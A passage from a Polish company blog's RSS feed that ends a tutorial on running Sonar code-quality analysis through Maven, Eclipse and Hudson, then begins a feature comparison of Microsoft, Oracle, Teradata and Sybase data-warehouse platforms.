[WARNING] Unable to locate Source XRef to link to - DISABLED
[INFO]  Execute maven plugin maven-checkstyle-plugin done: 8984 ms
[INFO]  Sensor CheckstyleSensor...
[INFO]  Sensor CheckstyleSensor done: 172 ms
[INFO]  Sensor CpdSensor...
[INFO]  Sensor CpdSensor done: 94 ms
[INFO]  Sensor Maven dependencies...
[INFO]  Sensor Maven dependencies done: 15 ms
[INFO]  Execute decorators...
[INFO]  ANALYSIS SUCCESSFUL, you can browse http://localhost:9000
[INFO]  Database optimization...
[INFO]  Database optimization done: 453 ms
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 1 minute 5 seconds
[INFO] Finished at: Thu Jun 17 09:22:21 CEST 2010
[INFO] Final Memory: 22M/40M
[INFO] ------------------------------------------------------------------------</pre>
<p>Po odświeżeniu strony głównej Sonara powinny pojawić się informacje o przeanalizowanym projekcie<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/06/main.jpg"><img class="aligncenter size-large wp-image-969" title="main" src="http://blog.atena.pl/wp-content/uploads/2010/06/main-1024x101.jpg" alt="" width="1024" height="101" /></a><br />
Klikając w nazwę projektu zagłębiamy się w szczegóły:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/06/drill1.jpg"><img class="aligncenter size-large wp-image-964" title="drill1" src="http://blog.atena.pl/wp-content/uploads/2010/06/drill1-1024x389.jpg" alt="" width="1024" height="389" /></a><br />
Z tego miejsca możemy jeszcze głębiej zajrzeć, np. w konkretny typ błędów:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/06/drill2.jpg"><img class="aligncenter size-large wp-image-965" title="drill2" src="http://blog.atena.pl/wp-content/uploads/2010/06/drill2-1024x448.jpg" alt="" width="1024" height="448" /></a><br />
Wybierając konkretny błąd, możemy podejrzeć, w którym miejscu w kodzie wystąpiło naruszenie.</p>
<p>Po takiej analizie jak na dłoni widać gdzie i jakie naruszenia popełniliśmy.</p>
<p>Dodatkową istotną funkcjonalnością jest możliwość integracji bezpośrednio z IDE.<br />
W tej chwili Sonar posiada wtyczki do Eclipse i IntelliJ IDEA. W fazie budowy jest też wtyczka do NetBeans. W tym przykładzie skupię się na Eclipse.</p>
<p>Wtyczkę do Eclipse pobieramy z update site http://dist.sonar-ide.codehaus.org/eclipse/<br />
Po instalacji przechodzimy do Window -&gt; Preferences -&gt; Sonar. Możemy zdefiniować nową instancję Sonara, ale domyślnie powinniśmy mieć dodaną już lokalną wersję. Po kliknięciu przycisku  ‘Edit’ możemy sprawdzić czy połączenie z Sonarem działa.</p>
<p><a href="http://blog.atena.pl/wp-content/uploads/2010/06/eclipse_conn.jpg"><img class="aligncenter size-large wp-image-966" title="eclipse_conn" src="http://blog.atena.pl/wp-content/uploads/2010/06/eclipse_conn-1024x784.jpg" alt="" width="1024" height="784" /></a><br />
Następnie klikamy prawym na naszym projekcie, wybieramy ‘Properties i w zakładce Sonar upewniamy się, że jesteśmy podpięci do poprawnej instancji Sonara<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/06/verifyconn.jpg"><img class="aligncenter size-full wp-image-972" title="verifyconn" src="http://blog.atena.pl/wp-content/uploads/2010/06/verifyconn.jpg" alt="" width="622" height="533" /></a><br />
Jeżeli wszystko się zgadza, ponownie klikamy prawym na projekt, wybieramy Sonar -&gt; Associate Project with Sonar, a potem jeszcze prawy -&gt; Sonar -&gt; Refresh Violations.</p>
<p>Po tych zabiegach nasz kod zostanie zbadany przez Sonara i wszelkie naruszenia zostaną podświetlone oraz dodany stosowny komentarz:<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/06/sonareclipse.jpg"><img class="aligncenter size-full wp-image-971" title="sonareclipse" src="http://blog.atena.pl/wp-content/uploads/2010/06/sonareclipse.jpg" alt="" width="737" height="690" /></a></p>
<p>Niestety Eclipse pobiera tylko listę naruszeń z serwera Sonara, więc istnieje możliwość że otrzymamy zgłoszenia dotyczące linii kodu, które nie są błędne, a nawet nie istnieją lub są puste. Jeżeli chcemy otrzymać świeżą listę naruszeń, dokładnie odpowiadającą naszej wersji kodu musimy z linii poleceń wywołać
<pre>mvn sonar:sonar</pre>
<p> w katalogu z plikiem pom.xml naszego projektu.</p>
<p>A to jeszcze nie wszystko – przecież rozwój prawdziwych aplikacji to nie tylko development i budowa projektów w IDE. Często większe projekty wykorzystują środowiska Continues Integration do budowy i weryfikacji poprawności kodu. Jednym z takich narzędzi jest Hudson. Sonar wpasowuje się w trend CI dostarczając wtyczkę do Hudsona umożliwiającą weryfikację jakości kodu po każdej budowie projektu. Wtyczka do pobrania jest na stronie <a href="http://wiki.hudson-ci.org/display/HUDSON/Sonar+plugin">http://wiki.hudson-ci.org/display/HUDSON/Sonar+plugin</a>. Dokładne informacje o mechanizmach Hudsona dostępne są na <a href="http://wiki.hudson-ci.org/">stronie projektu</a>, ja skupię się tylko na konfiguracji połączenia z Sonarem.</p>
<p>Po uruchomieniu Hudsona przechodzimy do „Manage Hudson” -&gt; „Manage Plugins” -&gt; „Advanced”. Tam ładujemy pobrany plik z wtyczką Sonara i restartujemy Hudsona.<br />
Następnie przechodzimy do „Manage Hudson”-&gt;”Configure System” i na samym dole dokonujemy konfiguracji instancji Sonara – jeżeli wszystko instalowaliśmy z domyślnymi wartościami nasza konfiguracja ogranicza się jedynie do podania nazwy identyfikacyjnej daną instancję Sonara<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/06/hudsonconfig.jpg"><img class="aligncenter size-large wp-image-968" title="hudsonconfig" src="http://blog.atena.pl/wp-content/uploads/2010/06/hudsonconfig-1024x352.jpg" alt="" width="1024" height="352" /></a><br />
Po dokonaniu konfiguracji przechodzimy do utworzenia zadania kompilującego i wykonującego weryfikację jakościową. Wybieramy „New Job” -&gt; „Build a free-style software Project”. Dokonujemy standardowej konfiguracji zadania podając namiary na SCM  i metody budowania (maven, ant itp.) – po szczegóły odsyłam do dokumentacji.<br />
Dla nas najistotniejsza jest sekcja „Post-build Actions”. Zaznaczamy opcję „Sonar” i wypełniamy interesujące nas pola. Co ciekawe, z poziomu Hudsona nie potrzebujemy pliku pom.xml, możemy dodać odpowiednie parametry w definicji akcji<br />
<a href="http://blog.atena.pl/wp-content/uploads/2010/06/hudsonbuildconfig.jpg"><img class="aligncenter size-large wp-image-967" title="hudsonbuildconfig" src="http://blog.atena.pl/wp-content/uploads/2010/06/hudsonbuildconfig-1024x633.jpg" alt="" width="1024" height="633" /></a></p>
<p>Po zapisaniu i wykonaniu builda powinien pojawić się taki trace</p>
<pre>…
[SonarTest] $ D:\apache-maven-2.1.0\bin\mvn.bat -e -B -f sonar-pom.xml sonar:sonar
+ Error stacktraces are turned on.
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: 'sonar'.
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [sonar:sonar] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] [sonar:sonar]
[INFO] Sonar host: http://localhost:9000
[INFO] Sonar version: 2.1.2
[INFO] [sonar-core:internal]
[INFO]  Database dialect class org.sonar.api.database.dialect.Derby
[INFO]  -------------  Analyzing SonarTest
[INFO]  Selected quality profile : Sonar way, language=java
[INFO]  Configure maven plugins...
[INFO]  Sensor SquidSensor...
[INFO]  Java AST scan...
[INFO]  Java AST scan done: 312 ms
[INFO]  Squid extraction...
[INFO]  Squid extraction done: 344 ms
[INFO]  Sensor SquidSensor done: 719 ms
[INFO]  Sensor JavaSourceImporter...
[INFO]  Sensor JavaSourceImporter done: 78 ms
[INFO]  Sensor AsynchronousMeasuresSensor...
[INFO]  Sensor AsynchronousMeasuresSensor done: 47 ms
[INFO]  Execute maven plugin maven-pmd-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-pmd-plugin:2.4:pmd]
[INFO] ------------------------------------------------------------------------
[INFO] [pmd:pmd]
[WARNING] Unable to locate Source XRef to link to - DISABLED
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. build is platform dependent!
[INFO]  Execute maven plugin maven-pmd-plugin done: 5265 ms
[INFO]  Sensor PmdSensor...
[INFO]  Sensor PmdSensor done: 859 ms
[INFO]  Sensor ProfileSensor...
[INFO]  Sensor ProfileSensor done: 0 ms
[INFO]  Sensor ProjectLinksSensor...
[INFO]  Sensor ProjectLinksSensor done: 16 ms
[INFO]  Sensor VersionEventsSensor...
[INFO]  Sensor VersionEventsSensor done: 31 ms
[INFO]  Execute maven plugin maven-checkstyle-plugin...
[INFO] ------------------------------------------------------------------------
[INFO] Building SonarTest
[INFO]    task-segment: [org.apache.maven.plugins:maven-checkstyle-plugin:2.4:checkstyle]
[INFO] ------------------------------------------------------------------------
[INFO] [checkstyle:checkstyle]
[WARNING] File encoding has not been set, using platform encoding Cp1250, i.e. build is platform dependent!
[WARNING] Unable to locate Source XRef to link to - DISABLED
[INFO]  Execute maven plugin maven-checkstyle-plugin done: 9219 ms
[INFO]  Sensor CheckstyleSensor...
[INFO]  Sensor CheckstyleSensor done: 187 ms
[INFO]  Sensor CpdSensor...
[INFO]  Sensor CpdSensor done: 157 ms
[INFO]  Sensor Maven dependencies...
[INFO]  Sensor Maven dependencies done: 15 ms
[INFO]  Execute decorators...
[INFO]  ANALYSIS SUCCESSFUL, you can browse http://localhost:9000
[INFO]  Database optimization...
[INFO]  Database optimization done: 219 ms
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 27 seconds
[INFO] Finished at: Thu Jun 17 11:12:20 CEST 2010
[INFO] Final Memory: 22M/40M
[INFO] ------------------------------------------------------------------------
Finished: SUCCESS</pre>
<p>W tym momencie możemy przejść na stronę główną aplikacji Sonara żeby sprawdzić wyniki weryfikacji.</p>
<p>Łącząc razem te trzy narzędzia otrzymujemy prawdziwy kombajn do weryfikacji poprawności i jakości tworzonych aplikacji. Korzyści są ogromne:<br />
1.	developerzy tworząc kod danych modułów na bieżąco widzą naruszenia jakościowe<br />
2.	kod oddany do SCM jest pobierany przed Hudsona i regularnie raz na dobę uruchamiana jest procedura budowy całej aplikacji, która sprawdza, czy całość aplikacji się kompiluje i buduje, a następnie jest poddawana weryfikacji przez Sonara<br />
3.	weryfikacje jakości wywoływane przez Hudsona są zapisywane w bazie danych Sonara, a zatem możemy obserwować trendy w jakości kodu oraz korzystać ze wszystkich dobrodziejstw Sonara nie obciążając go nadmierną ilością weryfikacji wywoływanych przez developerów.</p>
<p>Podsumowując – Sonar jest kompleksowym narzędziem do weryfikacji jakości kodu. Może być wykorzystywany zarówno do szybkiej lokalnej weryfikacji jak i przy budowie bardziej złożonych aplikacji w systemach CI. Jest to narzędzie, które zdecydowanie warto posiadać i wykorzystywać by budować dobrej jakości aplikacje.</p>
<p>Źródła:<br />
- <a href="http://docs.codehaus.org/display/SONAR/Documentation ">http://docs.codehaus.org/display/SONAR/Documentation </a><br />
- <a href="http://wiki.hudson-ci.org/display/HUDSON/">http://wiki.hudson-ci.org/display/HUDSON/</a><br />
- <a href="http://maven.apache.org/">http://maven.apache.org</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/dbalosc-o-jakosc-kodu/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Jaka jest najlepsza platforma do tworzenie hurtowni danych i dlaczego jest nią &#8230;?</title>
		<link>http://blog.atena.pl/jaka-jest-najlepsza-platforma-do-tworzenie-hurtowni-danych-i-dlaczego-jest-nia</link>
		<comments>http://blog.atena.pl/jaka-jest-najlepsza-platforma-do-tworzenie-hurtowni-danych-i-dlaczego-jest-nia#comments</comments>
		<pubDate>Wed, 16 Sep 2009 12:54:21 +0000</pubDate>
		<dc:creator>Jacek Gużewski</dc:creator>
				<category><![CDATA[Narzędzia]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=637</guid>
		<description><![CDATA[Jeśli zadać to pytanie specjalistom zajmującym się tymi zagadnieniami, 95 procent z nich bez wahania zamieni trzy kropki na konkretną platformę. Większość będzie miała zapewne rację, ponieważ każdy stara się dopasować do warunków, w których to konkretne rozwiązanie musi funkcjonować. I do tego właśnie sprowadza się zawsze decyzja – należy znaleźć najlepszy produkt dostosowany do środowiska, w [...]]]></description>
			<content:encoded><![CDATA[<p>Jeśli zadać to pytanie specjalistom zajmującym się tymi zagadnieniami, 95 procent z nich bez wahania zamieni trzy kropki na konkretną platformę. Większość będzie miała zapewne rację, ponieważ każdy stara się dopasować do warunków, w których to konkretne rozwiązanie musi funkcjonować. I do tego właśnie sprowadza się zawsze decyzja – należy znaleźć najlepszy produkt dostosowany do środowiska, w jaki musi funkcjonować. Przez środowisko funkcjonowania należy rozumieć wszystkie aspekty, poczynając od ceny zakupu, a kończąc na  - wydawało by się &#8211; najważniejszej  rzeczy, czyli funkcjonalności (co nie zawsze jest prawdą).<span id="more-637"></span></p>
<p>W poniższym tekście postaram się ogólnie scharakteryzować cztery platformy/dostawców zajmujących się zagadnieniami hurtowni danych, zaczynając od serwerów bazodanowych jako podstawowego elementu hurtowni, poprzez narzędzia ETL’owe, a kończąc na systemach wykorzystujących zgromadzone informacje (BI). Omawianymi platformami będą:</p>
<ul>
<li>Microsoft</li>
<li>Oracle</li>
<li>Teradata</li>
<li>Sybase</li>
</ul>
<p> </p>
<p><strong>Microsoft</strong></p>
<p>Firma Microsoft od wersji SQL Server 2005 (obecnie jest to wersja SQL Server 2008) zaoferował nie tylko serwer bazodanowy, ale cały pakiet aplikacji w „jednej cenie”, które swoją funkcjonalnością obejmują poszczególne procesy związane z funkcjonowaniem hurtowni danych:</p>
<ul>
<li>SQL Server – serwer bazy danych</li>
<li>SQL Server Integration Services (SSIS) – narzędzie ETL</li>
<li>SQL Server Analysis Services (SSAS) – narzędzie OLAP</li>
<li>SQL Server Reporting Services (SSRS)  &#8211; narzędzie  prezentacji danych.</li>
</ul>
<p>SQL Server jest ściśle zintegrowany z innymi systemami i aplikacjami firmy, zwłaszcza z aplikacjami systemu Microsoft Office, które w dużym stopniu zwiększają funkcjonalność analizy i prezentacji danych.  Funkcjonalność tę rozszerza także Microsoft PerformancePoint Server, który stanowi platformę Business Intelligence oferowaną przez Microsoft. Podstawowym atutem platformy opartej na SQL Server 2005/2008 jest jego niski Całkowity Koszt Posiadania (TCO). Dodatkowo polityka firmy zmierza do rozszerzania udziału w rynku DWH i BI, co przejawia się przejęciami dostawców z tej branży, tj: DATAllegro, ProCalrity, Stratature, itd. Dziś SQL Server 2008 pozycjonowany jest jako system dla rozwiązań hurtowni danych małych i średnich ( systemy do 5 TB – małe, od 5 TB do 50 TB – średnie, powyżej 50 TB – duże).</p>
<p> <strong><em>Serwer bazy danych</em></strong><em></em></p>
<ul>
<li>Dwie wersje do zastosowań produkcyjnych:
<ul>
<li>SQL Server 2008 Standard</li>
<li>SQL Server 20008 Enterprise  (dla celów implementacji  hurtowni danych dostosowana jest wersja SQLServer 2008 Enterpise o „wyższej” funkcjonalności w porównaniu do wersji Standard).</li>
</ul>
</li>
<li>Systemem operacyjnym może być tylko system z rodziny Windows Server.</li>
<li>Obsługa systemów klastrowych.</li>
<li>Obsługa replikacji on-line transakcyjnej i cyklicznej.</li>
<li>Partycjonowanie tablic i indeksów.</li>
<li>Indeksowane widoki.</li>
<li>Zarządzenie dostępem użytkowników/grup na poziomie serwera/usługi/bazy/tablicy/kolumny.</li>
<li>Kompresja danych.</li>
<li>Optymalizator zapytań w strukturze gwiazdy.</li>
<li>Obsługa CDC (Change Data Capture).</li>
<li>Sterowanie wydajnością poprzez przydzielanie zasobów, priorytetów dla aplikacji, procesu lub poszczególnego zapytaniu   (Resource Governor ).</li>
<li>Narzędzie do monitorowania on-line aktywności, począwszy od parametrów serwera, a skończywszy na poszczególnych transakcjach (SQL Serwer Profiler).</li>
</ul>
<p><strong><em>ETL</em></strong><em></em></p>
<ul>
<li>SQL Server Integration Services (SSIS) – wchodzi w skład pakietu SQL Server 2008</li>
<li>Środowisko deweloperskie oparte o Microsoft Visual Studio</li>
<li>W pełni graficzne narzędzie oparte na szerokiej gamie zdefiniowanych komponentów wraz ze zintegrowanym środowiskiem programistycznym.</li>
<li>Zarówno środowisko jak i komponenty podzielone są na funkcje związane z :
<ul>
<li>kontrolą przebiegu procesów,</li>
<li>kontrolą przepływu danych,</li>
<li>obsługą wyjątków i błędów.</li>
</ul>
</li>
<li>Pełna i łatwa obsługa integracji środowiska deweloperskiego, testowego i produkcyjnego.</li>
<li>Obsługa procesów ETL, a także procesów administracji baz danych, jak i pozostałych komponentów serwera.</li>
<li>Zdefiniowane komponenty wspomagające implementacje hurtowni danych, np.:  rozmyte wyszukiwanie (Foozy lookup), powoli zmieniające się wymiary (Slow Changing Dimension), kolumny pochodne (Drived column) itp.</li>
<li>Możliwość korzystania z dowolnego środowiska źródłowego i docelowego, jedynym ograniczeniem jest posiadanie sterowników OLE DB lub ODBC. W ostateczności SQL Server może nie występować w procesie ani jako źródło, ani jako środowisko docelowe.</li>
</ul>
<p><strong><em>BI</em></strong></p>
<p>W skład platformy BI można zaliczyć:</p>
<ul>
<li>SQL Server Analysis Services  (wchodzi w skład pakietu SQL Server 2008) – serwer wielowymiarowych kostek danych (technologia OLAP),</li>
<li>SQL Server Reporting Services (wchodzi w skład pakietu SQL Server 2008) -  serwer raportowy,
<ul>
<li>Środowisko deweloperskie oparte o Microsoft Visual Studia oraz zaimplementowany prosty edytor raportów oparty o przeglądarkę internetową, udostępniany na podstawie uprawnień nadawanych użytkownikom,</li>
<li>Udostępnianie raportów oparte o dowolny serwis usług internetowych, np.: IIS,</li>
<li>Dowolne źródło danych: serwery relacyjne bazy danych, serwery OLAP, plikowe źródło danych, itd.</li>
</ul>
</li>
<li>Office PerformancePoint Server  &#8211; rozbudowana platforma z wydzielonymi funkcjonalnościami, takimi jak :
<ul>
<li>Monitorowanie
<ul>
<li>Typowa funkcjonalność BI oparta o portal informacyjny ze zdefiniowanymi Pulpitami Menadżerskimi (Dashboards) oraz Zrównoważonymi Kartami Wyników (Scorecards).</li>
<li>Bogata gama form prezentacji danych: raporty tabelaryczne, wykresy, wskaźniki KPI, itd.</li>
</ul>
</li>
<li>Analizy
<ul>
<li>Narzędziem deweloperskim oparte o aplikację ProClarity</li>
<li>Dowolne źródło danych: serwery relacyjne bazy danych, serwery OLAP, plikowe źródło danych.</li>
<li>Rozbudowana funkcjonalność analityczna, np.:
<ul>
<li>Analizy wielowymiarowe</li>
<li>Drążenie w głąb</li>
<li>Analizy predykcyjne (prognozowanie, funkcje trendu)</li>
</ul>
</li>
<li>Udostępnianie danych realizowane poprzez:
<ul>
<li>aplikacje ProClarity</li>
<li>przeglądarkę internetową</li>
<li>dokumenty PDF</li>
<li>pliki XML</li>
</ul>
</li>
</ul>
</li>
<li>Planowanie
<ul>
<li>Funkcjonalność planowania i budżetowania</li>
<li>Planowanie i budżetowanie hierarchiczne</li>
<li>Wersjonowanie planów i budżetów</li>
<li>Interface użytkownika oparty o aplikację Microsoft Excel</li>
</ul>
</li>
</ul>
</li>
</ul>
<p> </p>
<p><strong>Oracle</strong></p>
<p>Oracle jest liderem wśród dostawców systemów bazodanowych. Według analiz w 2007 roku posiadała około 48% światowego rynku rozwiązań RDBMS (źródło &#8222;Market Share: Relational Database Management System Software by Operating System, Worldwide, 2007&#8243;). Polityka firmy nastawiona jest na utrzymanie wiodącej roli dostawcy rozwiązań pod hurtownie danych, czego przykładem może być oferowanie zarówno samego systemu bazodanowego (Oracel Database 11g), jak i kompleksowego rozwiązania sprzętowo-bazodanowego (HP Oracle Database Machine). Aplikacje „towarzyszące” takie jak Oracle Real Apllication Cluster oraz Automatic Storage Management wspomagają zastosowanie bazy Oracle dla dużych rozwiązań hurtowni danych. Konsekwencja takich warunków to dość wysoki koszt zakupu, jak i koszt użytkowania (dotyczy to zarówno samego systemu jak, i kosztów osobowych). Dodatkowo duża liczba funkcjonalności nie jest wliczana w cenę podstawową (co nie zawsze jest w jasny sposób wyspecyfikowane).</p>
<p><strong><em>Serwer bazy danych</em></strong><em></em></p>
<ul>
<li>Trzy wersje do zastosowań produkcyjnych Oracle Database 11g:
<ul>
<li>Standard Edition One</li>
<li>Standard Edition</li>
<li>Enterprise Edition (do celów implementacji hurtowni danych zlecana jest wersja Enterprise Edition zawierająca funkcjonalność niedostępną w niższych wydaniach.)</li>
</ul>
</li>
<li>System operacyjny :
<ul>
<li>Windows Server</li>
<li>Linux</li>
<li>Unix</li>
</ul>
</li>
<li>Obsługa systemów klastrowych.</li>
<li>Obsługa replikacji on-line (Oracle Streams).</li>
<li>Partycjonowanie tablic i indeksów – Partition Advisor.</li>
<li>Zmaterializowane widoki.</li>
<li>Zawansowana kompresja danych.</li>
<li>Obsługa cache’owania danych.</li>
<li>Optymalizacja zapytań w strukturze gwiazdy.</li>
<li>Automatyczne sterowanie wydajnością (pamięć operacyjną, dyskową, itp.).</li>
<li>Rozbudowana funkcjonalność zarządzania dostępem do danych.</li>
<li>Wbudowane funkcje analityczne – OLAP.</li>
<li>Obsługa funkcji data mining’owych  &#8211; Oracle Data Mining.</li>
<li>Narzędzie do obsługi administracji danymi historycznymi – Oracle Total Recall.</li>
<li>Dołączone narzędzia:
<ul>
<li>Administracyjne –  Oracle SQL Developer</li>
<li>Deweloperskie – Oracle Warehouse Builder  oraz Oracle Application Express</li>
</ul>
</li>
<li>Narzędzie do testów wydajnościowych dla wprowadzanych nowych aplikacji/funkcjonalności w oparciu o rzeczywiste obciążenie – Oracle Real Appliaction Testing.</li>
</ul>
<p> <strong><em>ETL</em></strong><em></em></p>
<p>Oracle oferuje obecnie dwie aplikacje do obsługi ETL:</p>
<ul>
<li>Oracle Warehouse Buider (OWB) – darmowe graficzne narzędzie ze zdefiniowanymi komponentami (Efektem działania OWB jest wygenerowany kod SQL, który obsługiwany jest przez mechanizmy motora bazy danych.); posiadające funkcje:
<ul>
<li>Budowy struktury bazy danych</li>
<li>Budowy procesów przepływu danych</li>
<li>Budowy procesów sterowania procesami ET</li>
</ul>
</li>
<li>Oracle Data Integrator (ODI) – promowane obecnie narzędzie do budowy i obsługi procesów ETL
<ul>
<li>Funkcjonalność budowania i obsługi procesów przepływu danych, sterowania procesami przepływu danych, procesów administracyjnych bazą danych.</li>
<li>Narzędzie graficzne oparte nie na szerokiej gamie zdefiniowanych komponentów, lecz na szablonach procesów zwanych Modułami Wiedzy (Knowledge Modules &#8211; KM).  Każdy KM jest zbiorem od 1 do n procesów stanowiących kolejno wykonywane skrypty SQL. Skrypty SQL zapisywane są w KM jako parametryzowalne szablony.</li>
<li>Zmiana podejścia z ETL na E-LT (Extract Load Transform ) – sterowanie wydajnością przetwarzania poprzez rozmieszczeniem procesów na kilka środowisk : źródłowe, docelowe, przejściowe.</li>
<li>Wspomaganie implementacji środowiska deweloperskiego, testowego i produkcyjnego poprzez obsługę repozytoriów metadanych.</li>
<li>Możliwość korzystania z dowolnego środowiska źródłowego i docelowego w oparciu o sterowniki ODBC lub OLE DB.</li>
<li>Serwis sterownia i harmonogramowania procesów ETL – ODI Agent</li>
<li>Obsługa CDC.</li>
</ul>
</li>
</ul>
<p><strong><em> BI</em></strong><em></em></p>
<p>Firma Oracle w ciągu ostatnich trzech lat wprowadziła do swojej oferty bardzo rozbudowaną platformę Business Inteligent o nazwie Oracle BI Enterprise Edition (OBI EE). Platforma ta oparta jest na rozwijanej przez lata aplikacji firmy Siebel  &#8211; Siebel Analytics. OBI EE składa się z kilku komponentów/aplikacji, z których tworzona jest platforma BI w zależności od potrzebnej funkcjonalności:</p>
<ul>
<li>Oracle BI Server – podstawowy i wymagany komponent stanowiący serwer i narzędzia do tworzenia i administracji udostępnianych danych:
<ul>
<li>Struktura danych trzy warstwowa
<ul>
<li>Warstwa fizyczna – specyfikacja źródeł danych</li>
<li>Warstwa logiczna – specyfikacja, agregacja, przekształcanie, utworzenie relacji danych z warstwy fizycznej</li>
<li>Warstwa biznesowa – formatowanie i udostępnianie danych</li>
</ul>
</li>
<li>Udostępnianie danych w formie logicznych wielowymiarowych kostek danych.</li>
<li>Rozbudowane i zawansowane funkcje selekcji i przetwarzania danych.</li>
<li>Odpowiada za sterownie wydajnością udostępniania danych (cache’owanie danych, priorytety kolejki zapytań, itp).</li>
</ul>
</li>
<li>Oracle BI Answers – narzędzie do tworzenia raportów, wykresów, wskaźników KPI na podstawie warstwy biznesowej udostępnionej przez BI Server, a wykorzystywanych we wszystkich  pozostałych komponentach platformy. Stanowi także aplikację do tworzenia raportów na żądanie. Interface oparty o przeglądarkę www.</li>
<li>Oracle BI Dashboard – spersonalizowany portal informacyjny zawierający zbiór raportów pogrupowanych ze względu na zakres informacyjny z ograniczoną możliwością tworzenia nowych i zmiany struktury już istniejących zestawień. Interface oparty o przeglądarkę www. </li>
<li>Oracle BI Disconnected  Analytics – narzędzie umożliwiające pobranie z Oracle BI Server’a na komputer kliencki zastawu aktualnych raportów wraz z zakresem danych i przeglądanie ich w trybie off-line.</li>
<li>Oracle BI Publisher – komponent posiadający dwie funkcjonalności:
<ul>
<li>Definiowanie raportów w formie formularzy z wykorzystanie Microsoft Word lub Adobe Acrobat,  na podstawie udostępnionych danych przez Oracle BI Server – np. PIT.</li>
<li>Definiowanie i administrowanie wykonywaniem i dostarczaniem raportów, zestawień, wypełnionych formularzu poprzez pocztę elektroniczną, faks, drukarkę, portal informacyjny. Dodatkowo aplikacja służy do tworzenia cache’ów danych dla raportów, których wykonanie harmonogramowane jest na okresy z mniejszym obciążeniem serwera.</li>
</ul>
</li>
</ul>
<p><strong>Teradata</strong></p>
<p>Teradata, ze swoim prawi 30-letnim doświadczeniem w zakresie budowy rozwiązań pod hurtownie danych, stała się liderem na rynku dostawców RMDBS. Architektura serwera oparta na równoległości bazy danych i wielowymiarowej skalowalności powoduje, że rozwiązanie to wykorzystywane jest zwłaszcza w obszarach analitycznych wraz z  korporacyjnymi hurtowniami danych od systemów kilkuset-gigabajtowych do ponad 100-terabajtowych. Firma skoncentrowała się na zadaniach przetwarzania danych w systemach analitycznych, nie na  przetwarzaniu transakcyjnym.   </p>
<p><strong><em>Serwer bazy danych</em></strong><em></em></p>
<ul>
<li>Teradata Database 12.0 – serwer bazodanowy z przeznaczeniem na różne platformy sprzętowe:
<ul>
<li>serwery klasy SMP zgodne z wymaganiami Teradata</li>
<li>serwery Teradata SMP</li>
<li>klastry Teradata MPP</li>
</ul>
</li>
<li>System operacyjny:
<ul>
<li>Windows</li>
<li>Server Linux</li>
<li>Unix</li>
</ul>
</li>
<li>Obsługa replikacji on-line.</li>
<li>Pełna równoległość przetwarzania operacji.</li>
<li>Zarządzanie wydajnością poprzez przydzielanie zasobów, priorytetów dla aplikacji, operacji, użytkowników &#8211; Teradata Active System Management.</li>
<li>Kreator statystyk i indeksów – rekomendacja zbierania statystyk i najbardziej optymalnych indeksów.</li>
<li>Grupowanie wirtualnych jednostek przetwarzania równoległego oraz wprowadzenie Global Index Optimalisation.</li>
<li>Obsługa  Sparse index i Partial Covering Index.</li>
<li>Udoskonalenia indeksów dla join’ów i agregatów.</li>
<li>Wizualne objaśnianie/porównanie planu zapytań &#8211; uproszczenie analizy planów zapytań.</li>
<li>Log zapytań – udostępnia szczegółową historię zapytań.</li>
<li>Asystent Teradata SQL.</li>
<li>Globalna optymalizacja zapytań – usprawniona optymalizacja planów wykonania zapytań generowanych często przez aplikacje BI.</li>
<li>Funkcja próbkowania losowego.</li>
<li>Wielokrotne zliczanie unikalnych wartości w jednym przebiegu zapytania.</li>
<li>Próbkowanie warstwowe.</li>
<li>Zwiększony limit rozmiaru zapytania.</li>
</ul>
<p> <strong><em>ETL</em></strong><em></em></p>
<p> Teradata posiada kilka aplikacji odpowiadających za procesy ładowania i ekstrakcji danych:</p>
<ul>
<li>Teradata FastLoad</li>
<li>Teradata MultiLoad</li>
<li>Teradata FastExport</li>
<li>Teradata Parallel Transporter</li>
<li>Teradata TPump</li>
</ul>
<p>Narzędziem deweloperskim ETL dostarczanym przez Teradata jest aplikacja o nazwie SLJM (informacja niepotwierdzona – brak jakichkolwiek wiadomości na ten temat na oficjalnej stronie Teradaty). SLJM posiadaja dwie funkcjonalności : tworzenie procesów przepływu danych oraz harmonogramowanie ww. procesów. Tworzenie odbywa się poprzez kodowanie w SQL.</p>
<p><strong>SYBASE </strong></p>
<p>Sybase od wielu lat jest dostawcą systemów bazodanowych oraz aplikacji deweloperskich dla programistów. W ostatnim okresie firma stara się odejść wizerunku dostawcy wyłącznie małych systemów RDBMS. Wprowadza i promuje zatem Sybase IQ Server, z odmiennym od innych dostawców podejściem do zapisu informacji – kolumnowe składowanie danych.  Architektura taka w ocenie firmy Sybase wpływa na wyjątkowy wzrost wydajności przetwarzania nawet najbardziej złożonych zapytań (w oficjalnych dokumentach używane jest tu określenie – &#8222;dramatyczny wzrost wydajności zapytań&#8221;).</p>
<p><strong><em>Server bazy danych</em></strong><em></em></p>
<ul>
<li>Sybase IQ 15 – serwer bazy danych oparty na rozszerzonej wersji Adaptive Server Anywhere.</li>
<li>Aplikacja przeznaczona do zastosowań systemów analitycznych – architektura serwera bazy optymalizowana ze względy na odczyt danych, nie na zapis.
<ul>
<li>System operacyjny
<ul>
<li>Windows Server</li>
<li>Linux</li>
<li>Unix</li>
</ul>
</li>
</ul>
</li>
<li>Obsługa replikacji on-line oraz off-line.</li>
<li>Zawansowana kompresja danych.</li>
<li>Architektura kolumnowego składowania danych.</li>
<li>Cache’owanie danych &#8211; usprawnione przetwarzanie zapytań z wykorzystaniem skompresowanych danych umieszczonych w pamięci cache.</li>
